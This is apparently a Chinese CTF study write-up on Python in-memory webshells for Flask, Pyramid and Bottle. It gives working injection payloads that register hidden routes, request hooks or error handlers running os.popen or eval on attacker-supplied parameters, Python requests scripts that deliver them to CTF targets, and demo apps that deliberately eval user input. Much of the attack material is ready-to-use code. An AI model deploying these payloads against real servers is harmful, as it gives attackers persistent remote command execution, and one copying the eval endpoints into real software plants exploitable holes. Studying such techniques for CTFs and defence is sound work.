前言:

想法来源于TGCTF的一道题 想具体学习下 内存马究竟是什么东西

Python内存马

众所周知,python下有许多轻型框架,比如 flask Tornado pyramid等 每个框架都基本有其对应的内存马注入的方式

Flask内存马注入

flask框架中使用 render_template_string() 进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现 python 内存马的注入。

老版flask内存马注入

多存在ssti的场景中 如果想要在python中实现内存马 必须想是否能动态注册新路由

flask注册新路由用的是 app.route 实际调用的是add_url_ruel

注意:从下面一直到构造webshell 都是前言知识 为了让你更好理解 内存马的payload

add_url_ruel介绍

app.add_url_rule('/index/',endpoint='index',view_func=index)

三个参数:

url:必须以/开头

endpoint:(站点)

view_func:方法 只需要写方法名也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。

原理

首先是要添加路由成功,然后特别重要的是 view_func中采用匿名函数的方式。该函数要实现捕获值,命令执行,响应。

当一个网页请求后,会实例化一个Request Context。在python中分出了两种上下文,请求上下文(request context)和应用上下文(session context)。一个请求上下文中封装了请求的信息。
而上下文的结构是运用了一个Stack的栈结构,也就是说它拥有一个栈所拥有的全部特性。
request context实例化后,它会被push到栈_request_ctx_stack中,那我们可以通过获取栈顶元素的方法来获取当前的请求。

1
Request=_request_ctx_stac.top

lambada表达式

链接:https://www.runoob.com/python3/python-lambda.html

Flask上下文管理机制

1
2
3
4
5
在使用 Flask 框架实现功能接口的时候,前端点击按钮发送请求的请求方式和 form 表单提交给后端的数据,后端都是通过 Flask 中的 request 对象来获取的。

在 Flask 框架中,这种传递数据的方式被称为上下文管理,在 Flask 框架中有四个上下文管理对象:request ,session,current_app 和 g 变量。

其中request 和 session 被称为请求上下文,current_app 和 g 变量被称为应用上下文。

其实一句话理解就是:Flask 的上下文机制是为了解决“请求中相关的数据需要在多个函数中使用,但又不想手动层层传参”的问题。

请求上下文 (request context)

Flask上下文对象相当于一个容器。保存了Flask程序运行过程的一些信息,比如请求方式和表单数据。

1.request

在 Flask 中,request 对象封装了 HTTP 请求的内容,针对的是 HTTP 请求,保存了当前请求的相关数据。

2.session

session和cookie都是用来做状态保持 但是cookie依赖于浏览器,但是session不需要。

应用上下文 (application context)

应用上下文不是一直存在的,他是临时的,发送请求才会有应用上下文,请求结束后就会失效。

1.curent_app

current_app 是应用程序上下文,用于存储 Flask 应用程序 app 中的变量,可以在 current_app 中存储一些变量。

2.g变量

gAppContext 中的临时全局变量,每个请求独立,适合用于存储数据库连接、缓存等中间件资源。会随着请求的结束而销毁。

核心两个栈

类型 名称 存什么
请求上下文栈 _request_ctx_stack 包含 request, session, g
应用上下文栈 _app_ctx_stack 包含 current_app, g

eval用法eval(expression, globals=None, locals=None)

expression(必需):python表达式 执行并访问执行的结果

globals(可选):这是一个字典,它提供了执行表达式时可用的全局变量。如果没有提供,eval() 默认使用调用时的全局作用域(即当前环境中的全局变量)

locals(可选):这是一个字典,表示执行表达式时可用的局部变量。如果没有提供,eval() 默认使用当前作用域中的局部变量。

内存马写法

1
2
3
4
5
6
7
8
9
10
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

(1)url_for.__globals__['__builtins__'] Python 中内置的全局函数和对象,包括 print()eval() 等。通过这一步,你可以访问内置的 eval() 函数

(2)( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )"

创建一个新路由 /shell 在这个/shell 获取请求中的cmd参数 如果没有提供cmd参数 就默认执行whoami命令

(3){ '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] }

这是eval的函数第二个参数 其实就是字典 允许在执行表达式时使用 Flask 特有的变量和对象

Flask 的上下文管理使用了栈结构,通过将 _request_ctx_stackapp 放到上下文字典中,eval() 就可以访问到当前的请求上下文和应用对象,进而执行动态生成的代码。这使得攻击者可以利用这种机制执行恶意的操作(比如执行传入的命令)。

新版flask内存马注入

新版已经不支持通过add_url_rule添加路由了,所以要考虑用其他的方法来代替add_url_rule 使用@app.before_request

@app.before_request

在response(响应)之前做响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask
from flask import request
from flask import redirect
from flask import session

app = Flask(__name__) # type:Flask
app.secret_key = "DragonFire"


@app.before_request
def is_login():
if request.path == "/login":
return None

if not session.get("user"):
return redirect("/login")


@app.route("/login")
def login():
return "Login"


@app.route("/index")
def index():
return "Index"


@app.route("/home")
def home():
return "Login"

app.run("0.0.0.0", 5000)

image-20250417154155980

查看这个定义 发现

self.before_request_funcs.setdefault(None, []).append(f)

意思:将函数 f 注册为全局的 before_request 钩子,在每次请求处理前自动调用

[钩子函数是一种“插入点”,让你在程序的某些关键时刻执行自定义逻辑]

意思就是我们可以传入一个lambada函数来执行命令!lambda :__import__('os').popen('whoami').read()

构造poc:eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

!!!!这样在每次response之前都会执行lambada函数来执行命令~~~

尝试本地起服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/')
def index():
return 'Home Page'

@app.route('/e')
def inject_memory_shell():
cmd = request.args.get('cmd')
try:
# 使用 eval 动态注入代码
eval(cmd)
return 'Payload injected successfully'
except Exception as e:
return f'Error: {e}'

@app.before_request
def trigger_hook():
pass # 所有注入的 before_request 都会自动执行

if __name__ == '__main__':
app.run(debug=True)

image-20250417163201553

随意访问一个目录 得到

image-20250417163250131

执行命令成功啦!喜!

@app.after_request

在response(响应)之后做出响应

1
2
3
4
5
@app.after_request
def foot_log(environ):
if request.path != "/login":
print("有客人访问了",request.path)
return environ

image-20250417164109472

这里也是和前面的差不多 但是要定义一个返回值 不然会报错

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, request, make_response

app = Flask(__name__)

# 注入点:可动态注入 payload
@app.route('/e')
def inject_memory_shell():
cmd = request.args.get('cmd')
try:
eval(cmd)
return 'Payload injected successfully'
except Exception as e:
return f'Error: {e}'

# 初始钩子:占位
@app.after_request
def default_after(resp):
return resp

# 主页面
@app.route('/')
def index():
return 'Home Page'

if __name__ == '__main__':
app.run(debug=True)

image-20250417172055122

image-20250417172224797

bingo!成功

1
2
3
4
5
参考文章
https://xz.aliyun.com/news/13858
https://www.cnblogs.com/gxngxngxn/p/18181936
https://research.qianxin.com/archives/2329
https://blog.csdn.net/solitudi/article/details/115331388

Pyamid内存马

例题详见 TGCTF20245 熟悉的配方* 或者 强网杯决赛Pyramid

利用栈帧打Pyramid WEB框架下的内存马

栈帧

不懂得详情看:https://blog.csdn.net/Jesse_Kyrie/article/details/139789665

1
栈帧(Stack Frame)是 Python 虚拟机 中程序执行的载体之一,也是 Python 中的一种执行上下文。 每当 Python 执行一个函数或方法时,都会创建一个栈帧来表示当前的函数调用,并将其压入一个称为 调用栈 (Call Stack)的数据结构中。 调用栈是一个后进先出(LIFO)的数据结构,用于管理程序中的函数调用关系。 栈帧的创建和销毁是动态的,随着函数的调用和返回而不断发生

构造内存马

Pyramid WEB新框架下的内存马发现是通过pyramid.config来生成的,因为pyramid.config里有add_view add_route,可以用来注册路由。

所以我们要那到这个config,所以得获取到栈帧的globals全局才能拿到当前的app config

先看下面这段代码,这个就是为了获取config那个栈帧

1
2
3
4
5
6
7
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
print(b)

然后拿到这个栈帧过后 就访问config添加新路由了

下面定义了一个新hello函数

1
2
3
4
5
6
7
def hello(request):        
code = request.POST['code']
res=eval(code)
return Response(res)
config.add_route('shell', '/shell') #添加新路由
config.add_view(hello, route_name='shell') #给/shell路由绑定视图hello
config.commit() #立即更新服务 而不是手动重启 这样才能够生效

整合一下payload就是

1
2
3
4
5
6
7
def waff():  
def f(): yield g.gi_frame.f_back
g = f() frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request): code = request.POST['code'] res=eval(code) return Response(res)
config.add_route('shell', '/shell') config.add_view(hello, route_name='shellb') config.commit()
waff()

TGCTF2025 熟悉*

payload写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from urllib.parse import quote
code='''def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request):
code = request.params['code']
res=eval(code)
return Response(res)

config.add_route('shellb', '/shellb')
config.add_view(hello, route_name='shellb')
config.commit()

waff()
'''
url="YOUR_URL"
data={"expr":f"{code}+111"}
res=requests.post(url=url,data=data)
print(res.text)

强网杯pyramid脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib.parse import quote
code='''def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
print(b)

waff()
'''

code1="print(1)"
burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWCL5zrymkRlSJ4Lvl%2BAysBf1d8NIRmFQRJ0P3ceKEpn7rGGUpICNmQ9yYf77FHJcVX2hJQ4YodabxiavEMlgYkeDelNPgmohkG%2F3sk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2B90UOOPDlJdnaBj22b4oIoMKVbYNuJFkAjqbCW8dVdLxX35VVonnFW5VfJ7tcepTt1irmtnL%2FEgVb94yqAr3YtJRSIRHJr79t46PLs8bpG9m3kOjtwtxrUz9g%3D%3D.UlM%3D.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwemJKUWRqWlEyL3pGeFVZc2I2YQo4YnljREhtSzQ2QXpaa25aQXJxMFFKekE5Ri9EWXFxRk5KanpTeHk0WmZqbmk4TlprRmduM2REWXdCU0JUWjZKClc3VW1waWVDZXcza3o5cy9GMENRdUxCY0dKMTd0M2RPVWRRVVpSVnJXUkhBeE1aL0Y2VFFSUWMvUkFVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Priority": "u=0, i"}
res=requests.get(burp0_url, headers=burp0_headers)
print(res.text)

bottle内存马

参考文章:https://forum.butian.net/share/4048

这里直接记录几种做法

1.直接绑定路由

payload

1
2
app.route("/b","GET",lambda :__import__('os').popen(request.params.get('a')).read()) #直接访问/b路由 a参数可以进行rce

2.利用报错界面 污染报错界面

payload

1
app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())

3.利用add_hook

add_hook就是注册钩子函数

image-20250418134610602

1
2
3
4
5
#reaponse
app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))

#abort
app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

结语

学习python内存马先告一段落了 有很多其他模板的内存马 以后遇到了再来补全吧~~~